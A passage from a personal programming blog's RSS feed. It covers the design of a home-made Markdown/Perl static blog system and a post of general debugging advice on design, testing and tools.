was to write his own.  I shied away from that notion until a few days
ago.  Then I finally caved and started thinking about doing my own.</p>
<div class="markdown-heading"><h2 class="heading-element">Requirements</h2><a id="user-content-requirements" class="anchor" aria-label="Permalink: Requirements" href="#requirements"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>It's only in the past year or so that I've viewed blogging as a public
activity.  Previously, I used it more as a personal journal even if
others peeked in.  My first exposure was the trashy, but extremely
functional Xanga.  I didn't care very much about web standards or
design early in high school, so Xanga was quite good to me.  It was
free, customizable, and all my friends used it.  My relationship with
Xanga went sour when I tried to screen-scrape all my posts with
WWW::Mechanize.  It worked ok, but it made me realize how shitty the
HTML was and that there could be better.</p>
<ul>
<li>control and manipulation of my own data.</li>
</ul>
<p>Sometime after that I had a brief stint with LiveJournal.  I lacked
motivation to keep it up, but I liked the external clients, and open
source nature of LJ.</p>
<ul>
<li>external clients / API</li>
<li>clean look</li>
</ul>
<p>I really dislike writing markup, and I also despise looking at
markup.  Neither was avoidable with other systems.  Writing markup by
hand was tedious and often resulted in erroroneous markup.  Once
you've written the markup, it's nice to know that the data is
transformable with XSLT.</p>
<ul>
<li>simplicity</li>
<li>web standards</li>
<li>easily transform data</li>
</ul>
<p>Writing a blog with just plain text and not blog management system is
also a lost cause.  Once you get over a certain number of posts, it's
hard to manage the permalinks by hand.  There's also lots of
duplicated HTML that would best be abstracted into templates.  On top
of that, it's important to have a way for users to give feedback about
your articles.</p>
<ul>
<li>comments system</li>
<li>templating system</li>
<li>automation of publishing tasks</li>
<li>"Don't Repeat Yourself" design</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Design</h2><a id="user-content-design" class="anchor" aria-label="Permalink: Design" href="#design"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>With these points in mind, I looked to create my ideal blog management
system.  Plain text will be used to manage storage for maximum
future-proofing, and minimal software requirements.  The
implementation language of choice is a hybrid of Perl, Bash, and
anything that fits in the future.  For the sake of simplicity and at
the expense of customization, I've opted for enforcing a hardcoded
directory hierarchy:</p>
<pre><code>articles/
  YYYY/
    MM/
      DD/
        title/
          index.draft
          index.text
          index.html
          images
          stylesheets
          .config/
            override default options
          .meta/
            tags, word count, etc
</code></pre>
<p>This keeps each individual article self-contained.  Rather than model
a data structure for what an article is, I've made the structure
implicit in the way the data is stored.  This idea separates the
system from the data so that the data makes sense standalone.  You
could argue that I duplicate this into a schema for some database, but
why would I need one?</p>
<p>The .text and .html is carried over from my earlier text-based blog
system.  The best web word processor is Markdown.  It lets you write
in any editor you want and has syntax rules that become natural almost
instantly.  This freed my eyes from staring at markup and also gave me
very clean XHTML and other formats as needed.  The editor and external
client was solved free of charge by Emacs and ssh.  Intermdiate
articles can be saved with a .draft extension.</p>
<p>As far as comments go, I plan to write it as a separate system with an
public API.  There's no reason to make a blog-specific comment system
when I can create one that can be used anywhere.  This also removes a
huge chunk of complexity involved with fighting spam that I really
don't feel belongs in a blog system.  This guy will come later.</p>
<div class="markdown-heading"><h2 class="heading-element">Templating</h2><a id="user-content-templating" class="anchor" aria-label="Permalink: Templating" href="#templating"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>As I'm writing this, one annoying piece of the system has cropped up:
the templating system.  This puts me in a sticky spot because using an
existing templating system would introduce more bloat than I'd like,
but writing my own simplistic templating system sounds tricky.  At the
moment, all I need is a declarative way of piecing together snippets
of HTML.  My favorite option so far is to match the path of a file to
be published against a set of rules to determine which template to
use.  The actual template will be a simple perl script that takes the
content to be embedded as input and spit out a laid out version.  The
downside of this is the assumption that there will be only be one
snippet to be inserted within a template.  This is limiting, but can
be fixed by adding options so that the layout script knows what is
given.  For example:</p>
<pre><code>perl article.layout --content=articles/2008/01/29/foo/index.html
                    --header=includes/head.html
                    --footer=includes/foot.html
</code></pre>
<p>it'd be nice to have a generator script to scaffold a generic
template:</p>
<pre><code>script/generate layout article [header,content,footer]
</code></pre>
<p><strong>Update</strong>: I've been working with
<a href="http://template-toolkit.org/" rel="nofollow">TemplateToolkit</a> for work, and I've
found it to be very easy to use, but not bloaty.</p>
<div class="markdown-heading"><h2 class="heading-element">Headlines and Blurbs</h2><a id="user-content-headlines-and-blurbs" class="anchor" aria-label="Permalink: Headlines and Blurbs" href="#headlines-and-blurbs"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>This one's a bit of a bummer because none all the solutions I come up
with are tradeoffs.  The slowest and most accurate solution is
to have the author of articles fully specify the headline and blurb.
There could be separate markup at the top of a file, or put into
separate files.  Basically, this involves adding more structure to the
writing and more logic to handle this structure.  This idea doesn't
mix well with my goal of uber-simplicity.</p>
<p>Instead I opted for an approach that sacrifices some generality.  I
notice that all articles that I like usually involve an engaging headline
followed by an abstract.  So I figure it's fair for me to look through
either the source .text or markdowned .html for an h1 headline, and
the first paragraph.  The exit strategy is straightforward because
it's a simple map of a function over a list or articles.  No biggie.</p>
<div class="markdown-heading"><h2 class="heading-element">Dynamic Content</h2><a id="user-content-dynamic-content" class="anchor" aria-label="Permalink: Dynamic Content" href="#dynamic-content"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Since I've chosen such an extreme of simplicity and speed, it will be
very challenging to have dynamic content.  Once a set of articles has
been published, they are simple static pages.  This makes tasks such
as pagination, grouping articles by tags, and search non-trivial.  I
see two solutions to this problem.  One way is to mimic Blogger by
generating the dynamic content and flattening those into static pages.
Another is to build a separate service to generate the content and
reference the service from the static pages.  Reference can be done
with AJAX or server side includes.  I prefer the server side includes
because it does not assume the client to have javascript, but don't
like the idea of turning on SSI's because each page load would require
Apache to scan for SSI directives.</p>
<p>Pre-generating and Flattening out dyanmic content will only get me so
far.  Hopefully it'll be far enough :)</p>
<div class="markdown-heading"><h2 class="heading-element">Performance</h2><a id="user-content-performance" class="anchor" aria-label="Permalink: Performance" href="#performance"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Performance-wise, I want this system to be fast.  How fast?  Here are
my design goals:</p>
<table>
  <tbody><tr>
    <th>Operation</th>
<th>Running Time</th>
<th>Storage</th>
  </tr>
  <tr>
    <td>View an article</td>
    <td>O(1) - as fast as it takes to serve a static page</td>
    <td>O(2n + m) - where n is the number of words in an article.
    Each article will be kept in both Markdown and XHTML format.  The
    extra m factor stands for the extra templating markup, but is pretty
    insignificant.  I'm trading off a bit of storage for best-case
    speed.</td>
  </tr>
  <tr>
    <td>Write an article</td>
    <td>O(1) - Emacs ftw!</td>
    <td>N/A</td>
  </tr>
  <tr>
    <td>Publish articles</td>
    <td>O(n) - where n is the number of articles to publish.  The
    script uses 'GNU find' and command line options to only publish
    and generate needed content</td>
    <td>Some meta information about the articles are created, so a bit
    of extra space is needed.  Again, pretty insignificant.
    </td>
  </tr>
</tbody></table>
<p>For now, I have no ambition of making this system scale, but I'm smug
with the knowledge that it will scale.  ZFS immediately comes to mind.
I can imagine publishing as a bottleneck, but clever uses of 'find',
'locate' and meta information can minimize these operations.  Another
storage consideration is how wasteful it would be to duplicate common
HTML snippets across articles.  Headers, footers, and sidebars are
good examples of this.  My take on this issue is: Care when it
matters.  My own personal use case is to have meaty articles with
minimal fluff snippets.  For me, the benefits of having blazing fast
page views outweighs the negative of wasted storage.  I call it "Lazy
Pre-Evaluated Caching", or LPEC for short.  On the other hand, I can
see how saving space can lead to more articles being stored in memory.
My exit strategy, should it ever be needed, is to LPEC the most
popular pages, and leave rarely viewed pages in un-markdown'ed source
.texts.</p>
<p>For maintenance, I want it all.  I don't want the code to be obsolete,
and I definitely don't want my data to suffer bitrot.  By using a
hybrid of languages and frameworks, I get the best of each and
guarantee easy replace of any subsystem if a better solution arises.</p>
<p><strong>Update</strong>:  That last bit was too vague for my tastes.  Most of the
system will be written in Perl so I can beef up some of my Perl-fu.  I
doubt anything will feel slow, but I might use
<a href="http://perldoc.perl.org/perlxs.html" rel="nofollow">XS</a> just to play with it.</p>
<p>Common tasks can be described with Rake and to automate these tasks,
I'll periodically run them from cron.  Here's what I have in mind for
a basic publish_all task</p>
<pre><code># month  hour  day-of-month month day-of-week   command
0    4    *    *    *    ~/portfolio/publish_all
</code></pre>
<p><strong>Update</strong>: There will be options in the 'publish' command that allows
users to filter what they want to publish.</p>
<div class="markdown-heading"><h2 class="heading-element">Data Models</h2><a id="user-content-data-models" class="anchor" aria-label="Permalink: Data Models" href="#data-models"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I plan to use the file hierarchy and file names as an encoding of the
data.  However, from a programatic perspective, it makes more sense to
have an API to manipulate this data.  This also makes it easy to
transform the data into any other storage backend as needed.</p>
<div class="markdown-heading"><h3 class="heading-element">Article</h3><a id="user-content-article" class="anchor" aria-label="Permalink: Article" href="#article"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>An article is a source un-markdowned entry.  It keeps state for
everything that describes an article and is implemented as a
self-contained folder.</p>
<div class="markdown-heading"><h4 class="heading-element">State</h4><a id="user-content-state" class="anchor" aria-label="Permalink: State" href="#state"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>title</li>
<li>blurb</li>
<li>year, month, day</li>
<li>path - the root directory of the self-contained article.</li>
</ul>
<div class="markdown-heading"><h4 class="heading-element">Methods</h4><a id="user-content-methods" class="anchor" aria-label="Permalink: Methods" href="#methods"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>&lt;=&gt; - date compare to another article</li>
<li>to_html</li>
<li>to_xml</li>
<li>to_* - meta-method for arbitrary formats?  This is probably overkill.</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Template</h3><a id="user-content-template" class="anchor" aria-label="Permalink: Template" href="#template"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Object used to transform and layout objects.  Each template type
expects arguments of the things they need in order to lay out
themselves.  For example, an ArticleHTMLTemplate may require
'stylesheets', and 'articles', whereas an ArticleXMLTemplate may only
require 'articles'.</p>
<div class="markdown-heading"><h3 class="heading-element">Logic + Glue</h3><a id="user-content-logic--glue" class="anchor" aria-label="Permalink: Logic + Glue" href="#logic--glue"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I didn't want to call it controllers, but I'm thinking of it in a MVC
kind of way.</p>
<div class="markdown-heading"><h2 class="heading-element">Notes</h2><a id="user-content-notes" class="anchor" aria-label="Permalink: Notes" href="#notes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I'm keeping some bullets here for updating later.</p>
<ul>
<li>
<p>thinking about the different use cases definitely revealed a pattern
for processing articles.  A key observation I noticed is that there
are two types of operations: taking an article as input, doing
something, and spitting out a result.  The other is to take a <em>list</em>
of articles as input, do something, and spit out a single result.</p>
</li>
<li>
<p>using <a href="">Moose</a> as the object system to represent an article.
<strong>Update</strong> - I've decided against this because it's too fancy.</p>
</li>
<li>
<p>markdown has an annoying feature that it will wrap multi-line 'li'
content in a 'p' tag.  I fixed this by styling 'li p' to be inline.
This is still valid xhtml and still makes markup sense.</p>
</li>
<li>
<p>rebuilding the pages that are indicies for lists of articles
requires rebuilding all of the indicies.  This does scale, so I've
been toying with the idea of keeping a B-tree of published
entries.  There needs to be meta files to keep track of how many
entries are in what pages.  When a page gets too full, it gets split
into two separate pages; When a page gets too empty, it gets joined
with it's neighbor.  When publishing, it means that only specific
pages are being rebuilt, rather than all index pages.</p>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Status</h2><a id="user-content-status" class="anchor" aria-label="Permalink: Status" href="#status"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>2008-05-03: pagination! atom feed!</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Shoot em up Debugging</title>
  <link>https://jch.github.io/posts/2008-01-26-shoot-em-up-debugging.html
</link>
  <guid>https://jch.github.io/posts/2008-01-26-shoot-em-up-debugging.html
</guid>
  <pubDate>Sat, 26 Jan 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Debugging is like a video game.  Unfortunately, it's the meanest video
game you will ever play.  The objective is to destroy bugs, but each
destroyed bug will only reveal more sinister bugs with more health,
greater mana, and better AI.  After you've smooshed all the trivial
syntax buggers, a whole new species evolves and leaves you fighting a
being as intelligent as yourself.  That fleeting sense of
accomplishment that you felt the first time you vanquished a missing
semicolon quickly melts into a never-ending nightmare of software
maintenance.</p>
<p>Is there no hope at all?  Are we all doomed to play this never-ending
and un-winnable game?  Well, not really.  At least, I sincerely hope
not.  Thankfully the rewards are great, and who knows what the next
bug-boss will be like?</p>
<div class="markdown-heading"><h2 class="heading-element">Prevention</h2><a id="user-content-prevention" class="anchor" aria-label="Permalink: Prevention" href="#prevention"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The first step to kicking bug-ass is to minimize the number of bugs.
It doesn't matter how great you are at finding mistakes after the
fact, it's much more rewarding to write a system and have it work to
spec the first time around.  Creating fewer bugs also keeps you
focused on writing <em>real</em> code and the big picture rather than chasing
down silly obscurities.</p>
<div class="markdown-heading"><h3 class="heading-element">Better Design</h3><a id="user-content-better-design" class="anchor" aria-label="Permalink: Better Design" href="#better-design"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Everyone messes this one up.  I'm just as guilty as the next guy when
it comes to starting to code too early and digging myself into a hole.
Take your time and <em>think</em>.  Don't think with a computer, just grab
some coffee and doodle on some napkins.  It's amazing how detrimental
a computer and Internet can be for this.  They'll only lead you to all
kinds of minutia you shouldn't worry about.  It's as if you're
creating bugs before you even have an idea of what you need to do.
You can't win like that!</p>
<div class="markdown-heading"><h3 class="heading-element">Better Components</h3><a id="user-content-better-components" class="anchor" aria-label="Permalink: Better Components" href="#better-components"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>As you're designing, it's always good to start classifying your
components and modules.  Don't try to abstract everything into pez-sized
libraries.  Simply make a note to remind yourself when it's possible
and revisit these notes when needed.</p>
<p>Make sure to challenge your own bias and assumptions.  The more you
play devil's advocate, the less chance those bugs will have to
surprise you.  It's MUCH better to predict a bug rather than to have
one sneak in an infinite loops when you're not looking.</p>
<p>Challenge your interfaces.  Check your input, and output for
consistency.  Will your code degrade gracefully when something doesn't
work?  Will it notify somebody?  Am I trying too hard here?  Am I
making assumptions because I don't understand the problem?</p>
<p>A great way to see if you've covered all cases is to run it by a
friend.</p>
<div class="markdown-heading"><h3 class="heading-element">Better Testing</h3><a id="user-content-better-testing" class="anchor" aria-label="Permalink: Better Testing" href="#better-testing"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The absolute low point of every developer's life isn't when they're
stuck.  It isn't when a system fails;  It isn't even when we pass out
on our keyboards after that 3rd all-nighter.</p>
<p>No.  The lowest we succumb to is sitting in front of a terminal,
stepping through a jillion lines of code.</p>
<p>Debuggers are meant to help you, but I can't help but see them as a
very very expensive crutch.  That's because people use them when they
shouldn't.  When you're stepping through all those lines and praying
to see some anomaly, you're a goner.  Instead, you should identify the
naughty component and <em>test</em> it.  Testing beats stepping any day of
the week.  If designed with testability in mind, then woot.  Otherwise
if you're given a giant monolithic beast of a legacy system, try black
box tests.  Remember that testing doesn't require a fancy harness or
framework, but make a honest effort to make your tests available and
repeatable.</p>
<div class="markdown-heading"><h2 class="heading-element">Tools</h2><a id="user-content-tools" class="anchor" aria-label="Permalink: Tools" href="#tools"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Prevention can only get you so far.  When stuff starts crashing and
the cause is not immediately obvious, hunker down with some tools.</p>
<p>Be wary of tools.  There are always too many choices, and most will
offer more configuration than usefulness.  Always weigh the benefits
before you install the latest and greatest.  If GNU make does
everything you want, and you're comfortable with it, look long and
hard before switching over to the 'next big thing'.  Don't say I
didn't warn you if an afternoon goes by and you have a half-configured
build system.</p>
<ul>
<li>
<p>Automation of tests with CruiseControl or similar systems is
fantastic, but are only as useful as the tests that are written.
Given limited resources, prioritize quality of tests over
automation.</p>
</li>
<li>
<p>Profiling code for performance, leaks, and bugs are a great way to
catch bugs that aren't mission critical now, but could get nasty in
the future.  To be honest, I don't have much experience in this
arena.  I hear Valgrind is pure black magic though.</p>
</li>
<li>
<p>I hate debuggers.  Graphical or otherwise, there's just a ton of
information spewing at you, and if you're stepping line by line and
you missing a line, you have to start over. If you get tired, just
stop.  There's no benefits to blankly staring at a call stack when
your head goes numb.  Go have a lollipop instead.</p>
</li>
<li>
<p>Learn to avoid using logging frameworks for debugging.  You're
logging output will grow, and digging through log output is the same
type of misery as going through a debugger.  Use logging as a form
of notifying the user.  Use testing to verify correctness.</p>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Conclusion</h2><a id="user-content-conclusion" class="anchor" aria-label="Permalink: Conclusion" href="#conclusion"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Debugging is a nasty topic.  A big reason why software engineers are
paid so much is because of the pain it takes to maintain and debug
software.  But I believe that bugs aren't a lost cause, and with the
right attitude and habits, it might be more game than chore.</p>
<p>Now if you'll excuse me, I have to go tackle some decade-old crufty
Perl.</p>
  ]]></description>
</item>

</channel>
</rss>
